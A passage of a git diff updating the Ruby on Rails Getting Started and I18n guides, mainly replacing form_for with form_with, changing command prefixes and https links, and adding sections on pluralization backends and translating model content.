+ article GET /articles/:id(.:format) articles#show
+ PATCH /articles/:id(.:format) articles#update
+ PUT /articles/:id(.:format) articles#update
+ DELETE /articles/:id(.:format) articles#destroy
+ root GET / welcome#index
```
In the next section, you will add the ability to create new articles in your
@@ -406,7 +409,7 @@ a controller called `ArticlesController`. You can do this by running this
command:
```bash
-$ bin/rails generate controller Articles
+$ rails generate controller Articles
```
If you open up the newly generated `app/controllers/articles_controller.rb`
@@ -458,8 +461,7 @@ You're getting this error now because Rails expects plain actions like this one
to have views associated with them to display their information. With no view
available, Rails will raise an exception.
-In the above image, the bottom line has been truncated. Let's see what the full
-error message looks like:
+Let's look at the full error message again:
>ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you're loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we're showing an error to be extra-clear. If you expect 204 No Content, carry on. That's what you'll get from an XHR or API request. Give it a shot.
@@ -501,30 +503,30 @@ write this content in it:
```
When you refresh <http://localhost:3000/articles/new> you'll now see that the
-page has a title. The route, controller, action and view are now working
+page has a title. The route, controller, action, and view are now working
harmoniously! It's time to create the form for a new article.
### The first form
To create a form within this template, you will use a *form
builder*. The primary form builder for Rails is provided by a helper
-method called `form_for`. To use this method, add this code into
+method called `form_with`. To use this method, add this code into
`app/views/articles/new.html.erb`:
```html+erb
-<%= form_for :article do |f| %>
+<%= form_with scope: :article, local: true do |form| %>
<p>
- <%= f.label :title %><br>
- <%= f.text_field :title %>
+ <%= form.label :title %><br>
+ <%= form.text_field :title %>
</p>
<p>
- <%= f.label :text %><br>
- <%= f.text_area :text %>
+ <%= form.label :text %><br>
+ <%= form.text_area :text %>
</p>
<p>
- <%= f.submit %>
+ <%= form.submit %>
</p>
<% end %>
```
@@ -532,12 +534,12 @@ method called `form_for`. To use this method, add this code into
If you refresh the page now, you'll see the exact same form from our example above.
Building forms in Rails is really just that easy!
-When you call `form_for`, you pass it an identifying object for this
-form. In this case, it's the symbol `:article`. This tells the `form_for`
+When you call `form_with`, you pass it an identifying scope for this
+form. In this case, it's the symbol `:article`. This tells the `form_with`
helper what this form is for. Inside the block for this method, the
-`FormBuilder` object - represented by `f` - is used to build two labels and two
+`FormBuilder` object - represented by `form` - is used to build two labels and two
text fields, one each for the title and text of an article. Finally, a call to
-`submit` on the `f` object will create a submit button for the form.
+`submit` on the `form` object will create a submit button for the form.
There's one problem with this form though. If you inspect the HTML that is
generated, by viewing the source of the page, you will see that the `action`
@@ -546,33 +548,34 @@ this route goes to the very page that you're on right at the moment, and that
route should only be used to display the form for a new article.
The form needs to use a different URL in order to go somewhere else.
-This can be done quite simply with the `:url` option of `form_for`.
+This can be done quite simply with the `:url` option of `form_with`.
Typically in Rails, the action that is used for new form submissions
like this is called "create", and so the form should be pointed to that action.
-Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like
+Edit the `form_with` line inside `app/views/articles/new.html.erb` to look like
this:
```html+erb
-<%= form_for :article, url: articles_path do |f| %>
+<%= form_with scope: :article, url: articles_path, local: true do |form| %>
```
In this example, the `articles_path` helper is passed to the `:url` option.
To see what Rails will do with this, we look back at the output of
-`bin/rails routes`:
+`rails routes`:
```bash
-$ bin/rails routes
+$ rails routes
Prefix Verb URI Pattern Controller#Action
- articles GET /articles(.:format) articles#index
- POST /articles(.:format) articles#create
- new_article GET /articles/new(.:format) articles#new
-edit_article GET /articles/:id/edit(.:format) articles#edit
- article GET /articles/:id(.:format) articles#show
- PATCH /articles/:id(.:format) articles#update
- PUT /articles/:id(.:format) articles#update
- DELETE /articles/:id(.:format) articles#destroy
- root GET / welcome#index
+welcome_index GET /welcome/index(.:format) welcome#index
+ articles GET /articles(.:format) articles#index
+ POST /articles(.:format) articles#create
+ new_article GET /articles/new(.:format) articles#new
+ edit_article GET /articles/:id/edit(.:format) articles#edit
+ article GET /articles/:id(.:format) articles#show
+ PATCH /articles/:id(.:format) articles#update
+ PUT /articles/:id(.:format) articles#update
+ DELETE /articles/:id(.:format) articles#destroy
+ root GET / welcome#index
```
The `articles_path` helper tells Rails to point the form to the URI Pattern
@@ -591,6 +594,10 @@ familiar error:
You now need to create the `create` action within the `ArticlesController` for
this to work.
+NOTE: By default `form_with` submits forms using Ajax thereby skipping full page
+redirects. To make this guide easier to get into we've disabled that with
+`local: true` for now.
+
### Creating articles
To make the "Unknown action" go away, you can define a `create` action within
@@ -651,7 +658,7 @@ Rails developers tend to use when creating new models. To create the new model,
run this command in your terminal:
```bash
-$ bin/rails generate model Article title:string text:text
+$ rails generate model Article title:string text:text
```
With that command we told Rails that we want an `Article` model, together
@@ -670,7 +677,7 @@ models, as that will be done automatically by Active Record.
### Running a Migration
-As we've just seen, `bin/rails generate model` created a _database migration_ file
+As we've just seen, `rails generate model` created a _database migration_ file
inside the `db/migrate` directory. Migrations are Ruby classes that are
designed to make it simple to create and modify database tables. Rails uses
rake commands to run migrations, and it's possible to undo a migration after
@@ -703,10 +710,10 @@ two timestamp fields to allow Rails to track article creation and update times.
TIP: For more information about migrations, refer to [Active Record Migrations]
(active_record_migrations.html).
-At this point, you can use a bin/rails command to run the migration:
+At this point, you can use a rails command to run the migration:
```bash
-$ bin/rails db:migrate
+$ rails db:migrate
```
Rails will execute this migration command and tell you it created the Articles
@@ -723,7 +730,7 @@ NOTE. Because you're working in the development environment by default, this
command will apply to the database defined in the `development` section of your
`config/database.yml` file. If you would like to execute migrations in another
environment, for instance in production, you must explicitly pass it when
-invoking the command: `bin/rails db:migrate RAILS_ENV=production`.
+invoking the command: `rails db:migrate RAILS_ENV=production`.
### Saving data in the controller
@@ -772,10 +779,11 @@ extra fields with values that violated your application's integrity? They would
be 'mass assigned' into your model and then into the database along with the
good stuff - potentially breaking your application or worse.
-We have to whitelist our controller parameters to prevent wrongful mass
+We have to define our permitted controller parameters to prevent wrongful mass
assignment. In this case, we want to both allow and require the `title` and
`text` parameters for valid use of `create`. The syntax for this introduces
-`require` and `permit`. The change will involve one line in the `create` action:
+`require` and `permit`. The change will involve one line in the `create`
+action:
```ruby
@article = Article.new(params.require(:article).permit(:title, :text))
@@ -802,7 +810,7 @@ private
TIP: For more information, refer to the reference above and
[this blog article about Strong Parameters]
-(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
+(https://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
### Showing Articles
@@ -810,7 +818,7 @@ If you submit the form again now, Rails will complain about not finding the
`show` action. That's not very useful though, so let's add the `show` action
before proceeding.
-As we have seen in the output of `bin/rails routes`, the route for `show` action is
+As we have seen in the output of `rails routes`, the route for `show` action is
as follows:
```
@@ -872,7 +880,7 @@ Visit <http://localhost:3000/articles/new> and give it a try!
### Listing all articles
We still need a way to list all our articles, so let's do that.
-The route for this as per output of `bin/rails routes` is:
+The route for this as per output of `rails routes` is:
```
articles GET /articles(.:format) articles#index
@@ -909,6 +917,7 @@ And then finally, add the view for this action, located at
<tr>
<th>Title</th>
<th>Text</th>
+ <th></th>
</tr>
<% @articles.each do |article| %>
@@ -954,7 +963,7 @@ Now, add another link in `app/views/articles/new.html.erb`, underneath the
form, to go back to the `index` action:
```erb
-<%= form_for :article, url: articles_path do |f| %>
+<%= form_with scope: :article, url: articles_path, local: true do |form| %>
...
<% end %>
@@ -1065,7 +1074,7 @@ something went wrong. To do that, you'll modify
`app/views/articles/new.html.erb` to check for error messages:
```html+erb
-<%= form_for :article, url: articles_path do |f| %>
+<%= form_with scope: :article, url: articles_path, local: true do |form| %>
<% if @article.errors.any? %>
<div id="error_explanation">
@@ -1082,17 +1091,17 @@ something went wrong. To do that, you'll modify
<% end %>
<p>
- <%= f.label :title %><br>
- <%= f.text_field :title %>
+ <%= form.label :title %><br>
+ <%= form.text_field :title %>
</p>
<p>
- <%= f.label :text %><br>
- <%= f.text_area :text %>
+ <%= form.label :text %><br>
+ <%= form.text_area :text %>
</p>
<p>
- <%= f.submit %>
+ <%= form.submit %>
</p>
<% end %>
@@ -1113,10 +1122,10 @@ that otherwise `@article` would be `nil` in our view, and calling
`@article.errors.any?` would throw an error.
TIP: Rails automatically wraps fields that contain an error with a div
-with class `field_with_errors`. You can define a css rule to make them
+with class `field_with_errors`. You can define a CSS rule to make them
standout.
-Now you'll get a nice error message when saving an article without title when
+Now you'll get a nice error message when saving an article without a title when
you attempt to do just that on the new article form
<http://localhost:3000/articles/new>:
@@ -1157,7 +1166,7 @@ it look as follows:
```html+erb
<h1>Edit article</h1>
-<%= form_for(@article) do |f| %>
+<%= form_with(model: @article, local: true) do |form| %>
<% if @article.errors.any? %>
<div id="error_explanation">
@@ -1174,17 +1183,17 @@ it look as follows:
<% end %>
<p>
- <%= f.label :title %><br>
- <%= f.text_field :title %>
+ <%= form.label :title %><br>
+ <%= form.text_field :title %>
</p>
<p>
- <%= f.label :text %><br>
- <%= f.text_area :text %>
+ <%= form.label :text %><br>
+ <%= form.text_area :text %>
</p>
<p>
- <%= f.submit %>
+ <%= form.submit %>
</p>
<% end %>
@@ -1195,17 +1204,17 @@ it look as follows:
This time we point the form to the `update` action, which is not defined yet
but will be very soon.
-Passing the article object to the method, will automagically create url for submitting the edited article form.
-This option tells Rails that we want this form to be submitted
-via the `PATCH` HTTP method which is the HTTP method you're expected to use to
-**update** resources according to the REST protocol.
+Passing the article object to the `form_with` method will automatically set the URL for
+submitting the edited article form. This option tells Rails that we want this
+form to be submitted via the `PATCH` HTTP method, which is the HTTP method you're
+expected to use to **update** resources according to the REST protocol.
-The first parameter of `form_for` can be an object, say, `@article` which would
-cause the helper to fill in the form with the fields of the object. Passing in a
-symbol (`:article`) with the same name as the instance variable (`@article`)
-also automagically leads to the same behavior.
-More details can be found in [form_for documentation]
-(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for).
+Also, passing a model object to `form_with`, like `model: @article` in the edit
+view above, will cause form helpers to fill in form fields with the corresponding
+values of the object. Passing in a symbol scope such as `scope: :article`, as
+was done in the new view, only creates empty form fields.
+More details can be found in [form_with documentation]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with).
Next, we need to create the `update` action in
`app/controllers/articles_controller.rb`.
@@ -1302,7 +1311,7 @@ Create a new file `app/views/articles/_form.html.erb` with the following
content:
```html+erb
-<%= form_for @article do |f| %>
+<%= form_with model: @article, local: true do |form| %>
<% if @article.errors.any? %>
<div id="error_explanation">
@@ -1319,29 +1328,29 @@ content:
<% end %>
<p>
- <%= f.label :title %><br>
- <%= f.text_field :title %>
+ <%= form.label :title %><br>
+ <%= form.text_field :title %>
</p>
<p>
- <%= f.label :text %><br>
- <%= f.text_area :text %>
+ <%= form.label :text %><br>
+ <%= form.text_area :text %>
</p>
<p>
- <%= f.submit %>
+ <%= form.submit %>
</p>
<% end %>
```
-Everything except for the `form_for` declaration remained the same.
-The reason we can use this shorter, simpler `form_for` declaration
+Everything except for the `form_with` declaration remained the same.
+The reason we can use this shorter, simpler `form_with` declaration
to stand in for either of the other forms is that `@article` is a *resource*
corresponding to a full set of RESTful routes, and Rails is able to infer
which URI and method to use.
-For more information about this use of `form_for`, see [Resource-oriented style]
-(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style).
+For more information about this use of `form_with`, see [Resource-oriented style]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with-label-Resource-oriented+style).
Now, let's update the `app/views/articles/new.html.erb` view to use this new
partial, rewriting it completely:
@@ -1368,7 +1377,7 @@ Then do the same for the `app/views/articles/edit.html.erb` view:
We're now ready to cover the "D" part of CRUD, deleting articles from the
database. Following the REST convention, the route for
-deleting articles as per output of `bin/rails routes` is:
+deleting articles as per output of `rails routes` is:
```ruby
DELETE /articles/:id(.:format) articles#destroy
@@ -1488,17 +1497,17 @@ second argument, and then the options as another argument. The `method: :delete`
and `data: { confirm: 'Are you sure?' }` options are used as HTML5 attributes so
that when the link is clicked, Rails will first show a confirm dialog to the
user, and then submit the link with method `delete`. This is done via the
-JavaScript file `jquery_ujs` which is automatically included in your
+JavaScript file `rails-ujs` which is automatically included in your
application's layout (`app/views/layouts/application.html.erb`) when you
generated the application. Without this file, the confirmation dialog box won't
appear.
![Confirm Dialog](images/getting_started/confirm_dialog.png)
-TIP: Learn more about jQuery Unobtrusive Adapter (jQuery UJS) on
+TIP: Learn more about Unobtrusive JavaScript on
[Working With JavaScript in Rails](working_with_javascript_in_rails.html) guide.
-Congratulations, you can now create, show, list, update and destroy
+Congratulations, you can now create, show, list, update, and destroy
articles.
TIP: In general, Rails encourages using resources objects instead of
@@ -1514,11 +1523,11 @@ comments on articles.
### Generating a Model
We're going to see the same generator that we used before when creating
-the `Article` model. This time we'll create a `Comment` model to hold
+the `Article` model. This time we'll create a `Comment` model to hold a
reference to an article. Run this command in your terminal:
```bash
-$ bin/rails generate model Comment commenter:string body:text article:references
+$ rails generate model Comment commenter:string body:text article:references
```
This command will generate four files:
@@ -1544,8 +1553,8 @@ You'll learn a little about associations in the next section of this guide.
The (`:references`) keyword used in the bash command is a special data type for models.
It creates a new column on your database table with the provided model name appended with an `_id`
-that can hold integer values. You can get a better understanding after analyzing the
-`db/schema.rb` file below.
+that can hold integer values. To get a better understanding, analyze the
+`db/schema.rb` file after running the migration.
In addition to the model, Rails has also made a migration to create the
corresponding database table:
@@ -1569,7 +1578,7 @@ for it, and a foreign key constraint that points to the `id` column of the `arti
table. Go ahead and run the migration:
```bash
-$ bin/rails db:migrate
+$ rails db:migrate
```
Rails is smart enough to only execute the migrations that have not already been
@@ -1645,7 +1654,7 @@ With the model in hand, you can turn your attention to creating a matching
controller. Again, we'll use the same generator we used before:
```bash
-$ bin/rails generate controller Comments
+$ rails generate controller Comments
```
This creates five files and one empty directory:
@@ -1680,17 +1689,17 @@ So first, we'll wire up the Article show template
</p>
<h2>Add a comment:</h2>
-<%= form_for([@article, @article.comments.build]) do |f| %>
+<%= form_with(model: [ @article, @article.comments.build ], local: true) do |form| %>
<p>
- <%= f.label :commenter %><br>
- <%= f.text_field :commenter %>
+ <%= form.label :commenter %><br>
+ <%= form.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br>
- <%= f.text_area :body %>
+ <%= form.label :body %><br>
+ <%= form.text_area :body %>
</p>
<p>
- <%= f.submit %>
+ <%= form.submit %>
</p>
<% end %>
@@ -1699,7 +1708,7 @@ So first, we'll wire up the Article show template
```
This adds a form on the `Article` show page that creates a new comment by
-calling the `CommentsController` `create` action. The `form_for` call here uses
+calling the `CommentsController` `create` action. The `form_with` call here uses
an array, which will build a nested route, such as `/articles/1/comments`.
Let's wire up the `create` in `app/controllers/comments_controller.rb`:
@@ -1761,17 +1770,17 @@ add that to the `app/views/articles/show.html.erb`.
<% end %>
<h2>Add a comment:</h2>
-<%= form_for([@article, @article.comments.build]) do |f| %>
+<%= form_with(model: [ @article, @article.comments.build ], local: true) do |form| %>
<p>
- <%= f.label :commenter %><br>
- <%= f.text_field :commenter %>
+ <%= form.label :commenter %><br>
+ <%= form.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br>
- <%= f.text_area :body %>
+ <%= form.label :body %><br>
+ <%= form.text_area :body %>
</p>
<p>
- <%= f.submit %>
+ <%= form.submit %>
</p>
<% end %>
@@ -1827,17 +1836,17 @@ following:
<%= render @article.comments %>
<h2>Add a comment:</h2>
-<%= form_for([@article, @article.comments.build]) do |f| %>
+<%= form_with(model: [ @article, @article.comments.build ], local: true) do |form| %>
<p>
- <%= f.label :commenter %><br>
- <%= f.text_field :commenter %>
+ <%= form.label :commenter %><br>
+ <%= form.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br>
- <%= f.text_area :body %>
+ <%= form.label :body %><br>
+ <%= form.text_area :body %>
</p>
<p>
- <%= f.submit %>
+ <%= form.submit %>
</p>
<% end %>
@@ -1849,7 +1858,7 @@ This will now render the partial in `app/views/comments/_comment.html.erb` once
for each comment that is in the `@article.comments` collection. As the `render`
method iterates over the `@article.comments` collection, it assigns each
comment to a local variable named the same as the partial, in this case
-`comment` which is then available in the partial for us to show.
+`comment`, which is then available in the partial for us to show.
### Rendering a Partial Form
@@ -1857,17 +1866,17 @@ Let us also move that new comment section out to its own partial. Again, you
create a file `app/views/comments/_form.html.erb` containing:
```html+erb
-<%= form_for([@article, @article.comments.build]) do |f| %>
+<%= form_with(model: [ @article, @article.comments.build ], local: true) do |form| %>
<p>
- <%= f.label :commenter %><br>
- <%= f.text_field :commenter %>
+ <%= form.label :commenter %><br>
+ <%= form.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br>
- <%= f.text_area :body %>
+ <%= form.label :body %><br>
+ <%= form.text_area :body %>
</p>
<p>
- <%= f.submit %>
+ <%= form.submit %>
</p>
<% end %>
```
@@ -2052,13 +2061,13 @@ What's Next?
Now that you've seen your first Rails application, you should feel free to
update it and experiment on your own.
-Remember you don't have to do everything without help. As you need assistance
+Remember, you don't have to do everything without help. As you need assistance
getting up and running with Rails, feel free to consult these support
resources:
* The [Ruby on Rails Guides](index.html)
-* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
-* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
+* The [Ruby on Rails Tutorial](https://www.railstutorial.org/book)
+* The [Ruby on Rails mailing list](https://groups.google.com/group/rubyonrails-talk)
* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
index 6c8706bc13..78e5f27448 100644
--- a/guides/source/i18n.md
+++ b/guides/source/i18n.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Rails Internationalization (I18n) API
=====================================
@@ -11,7 +11,7 @@ So, in the process of _internationalizing_ your Rails application you have to:
* Ensure you have support for i18n.
* Tell Rails where to find locale dictionaries.
-* Tell Rails how to set, preserve and switch locales.
+* Tell Rails how to set, preserve, and switch locales.
In the process of _localizing_ your application you'll probably want to do the following three things:
@@ -42,6 +42,8 @@ Internationalization is a complex problem. Natural languages differ in so many w
As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**. _Localization_ of a Rails application means defining translated values for these strings in desired languages.
+To localize store and update _content_ in your application (e.g. translate blog posts), see the [Translating model content](#translating-model-content) section.
+
### The Overall Architecture of the Library
Thus, the Ruby I18n gem is split into two parts:
@@ -75,8 +77,8 @@ There are also attribute readers and writers for the following attributes:
load_path # Announce your custom translation files
locale # Get and set the current locale
default_locale # Get and set the default locale
-available_locales # Whitelist locales available for the application
-enforce_available_locales # Enforce locale whitelisting (true or false)
+available_locales # Permitted locales available for the application
+enforce_available_locales # Enforce locale permission (true or false)
exception_handler # Use a different exception_handler
backend # Use a different backend
```
@@ -105,7 +107,7 @@ This means, that in the `:en` locale, the key _hello_ will map to the _Hello wor
The I18n library will use **English** as a **default locale**, i.e. if a different locale is not set, `:en` will be used for looking up translations.
-NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Few gems such as [Globalize3](https://github.com/globalize/globalize) may help you implement it.
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](https://groups.google.com/forum/#!topic/rails-i18n/FN7eLH2-lHA)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th`, or `:es` (for Czech, Thai, and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary.
The **translations load path** (`I18n.load_path`) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme.
@@ -126,7 +128,7 @@ The load path must be specified before any translations are looked up. To change
# Where the I18n library should search for translation files
I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
-# Whitelist locales available for the application
+# Permitted locales available for the application
I18n.available_locales = [:en, :pt]
# Set default locale to something other than :en
@@ -310,10 +312,10 @@ In general, this approach is far less reliable than using the language header an
#### Storing the Locale from the Session or Cookies
-WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
+WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](https://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](https://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
Internationalization and Localization
------------------------------------
+-------------------------------------
OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests.
@@ -371,7 +373,7 @@ end
```html+erb
# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
+<h1><%= t :hello_world %></h1>
<p><%= flash[:notice] %></p>
```
@@ -416,7 +418,7 @@ If your translations are stored in YAML files, certain keys must be escaped. The
Examples:
-```erb
+```yaml
# config/locales/en.yml
en:
success:
@@ -430,12 +432,12 @@ en:
```
```ruby
-I18n.t 'success.true' # => 'True!'
-I18n.t 'success.on' # => 'On!'
+I18n.t 'success.true' # => 'True!'
+I18n.t 'success.on' # => 'On!'
I18n.t 'success.false' # => 'False!'
I18n.t 'failure.false' # => Translation Missing
-I18n.t 'failure.off' # => Translation Missing
-I18n.t 'failure.true' # => Translation Missing
+I18n.t 'failure.off' # => Translation Missing
+I18n.t 'failure.true' # => Translation Missing
```
### Passing Variables to Translations
@@ -502,7 +504,7 @@ OK! Now let's add a timestamp to the view, so we can demo the **date/time locali
```erb
# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
+<h1><%= t :hello_world %></h1>
<p><%= flash[:notice] %></p>
<p><%= l Time.now, format: :short %></p>
```
@@ -594,7 +596,7 @@ Covered are features like these:
### Looking up Translations
-#### Basic Lookup, Scopes and Nested Keys
+#### Basic Lookup, Scopes, and Nested Keys
Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
@@ -701,9 +703,11 @@ end
### Pluralization
-In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja), [Russian](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://cldr.unicode.org/index/cldr-spec/plural-rules). Thus, the I18n API provides a flexible pluralization feature.
+In many languages — including English — there are only two forms, a singular and a plural, for
+a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja), [Russian](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://cldr.unicode.org/index/cldr-spec/plural-rules). Thus, the I18n API provides a flexible pluralization feature.
-The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined in the
+pluralization backend. By default, only the English pluralization rules are applied.
```ruby
I18n.backend.store_translations :en, inbox: {
@@ -733,6 +737,22 @@ The translation denoted as `:one` is regarded as singular, and the `:other` is u
If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised.
+#### Locale-specific rules
+
+The I18n gem provides a Pluralization backend that can be used to enable locale-specific rules. Include it
+to the Simple backend, then add the localized pluralization algorithms to translation store, as `i18n.plural.rule`.
+
+```ruby
+I18n::Backend::Simple.include(I18n::Backend::Pluralization)
+I18n.backend.store_translations :pt, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } }
+I18n.backend.store_translations :pt, apples: { one: 'one or none', other: 'more than one' }
+
+I18n.t :apples, count: 0, locale: :pt
+# => 'one or none'
+```
+
+Alternatively, the separate gem [rails-i18n](https://github.com/svenfuchs/rails-i18n) can be used to provide a fuller set of locale-specific pluralization rules.
+
### Setting and Passing a Locale
The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`.
@@ -809,14 +829,14 @@ For example when you add the following translations:
en:
activerecord:
models:
- user: Dude
+ user: Customer
attributes:
user:
login: "Handle"
# will translate User attribute "login" as "Handle"
```
-Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
+Then `User.model_name.human` will return "Customer" and `User.human_attribute_name("login")` will return "Handle".
You can also set a plural form for model names, adding as following:
@@ -825,11 +845,11 @@ en:
activerecord:
models:
user:
- one: Dude
- other: Dudes
+ one: Customer
+ other: Customers
```
-Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude".
+Then `User.model_name.human(count: 2)` will return "Customers". With `count: 1` or without params will return "Customer".
In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file:
@@ -837,12 +857,12 @@ In the event you need to access nested attributes within a given model, you shou
en:
activerecord:
attributes:
- user/gender:
- female: "Female"
- male: "Male"
+ user/role:
+ admin: "Admin"
+ contributor: "Contributor"
```
-Then `User.human_attribute_name("gender.female")` will return "Female".
+Then `User.human_attribute_name("role.admin")` will return "Admin".
NOTE: If you are using a class which includes `ActiveModel` and does not inherit from `ActiveRecord::Base`, replace `activerecord` with `activemodel` in the above key paths.
@@ -959,7 +979,7 @@ en:
```
NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form)
-gem by adding this line to your Gemfile: `gem 'dynamic_form'`.
+gem by adding this line to your `Gemfile`: `gem 'dynamic_form'`.
### Translations for Action Mailer E-Mail Subjects
@@ -1032,7 +1052,7 @@ The Simple backend shipped with Active Support allows you to store translations
For example a Ruby Hash providing translations can look like this:
-```yaml
+```ruby
{
pt: {
foo: {
@@ -1081,13 +1101,11 @@ Customize your I18n Setup
For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.
-That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs, by passing a backend instance to the `I18n.backend=` setter.
-```ruby
-I18n.backend = Globalize::Backend::Static.new
-```
+For example, you can replace the Simple backend with the the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends.
-You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
+With the Chain backend, you could use the Active Record backend and fall back to the (default) Simple backend:
```ruby
I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
@@ -1148,28 +1166,37 @@ To do so, the helper forces `I18n#translate` to raise exceptions no matter what
I18n.t :foo, raise: true # always re-raises exceptions from the backend
```
+Translating Model Content
+-------------------------
+
+The I18n API described in this guide is primarily intended for translating interface strings. If you are looking to translate model content (e.g. blog posts), you will need a different solution to help with this.
+
+Several gems can help with this:
+
+* [Globalize](https://github.com/globalize/globalize): Store translations on separate translation tables, one for each translated model
+* [Mobility](https://github.com/shioyama/mobility): Provides support for storing translations in many formats, including translation tables, json columns (Postgres), etc.
+* [Traco](https://github.com/barsoom/traco): Translatable columns for Rails 3 and 4, stored in the model table itself
+
Conclusion
----------
At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
-If you want to discuss certain portions or have questions, please sign up to the [rails-i18n mailing list](http://groups.google.com/group/rails-i18n).
-
Contributing to Rails I18n
--------------------------
I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
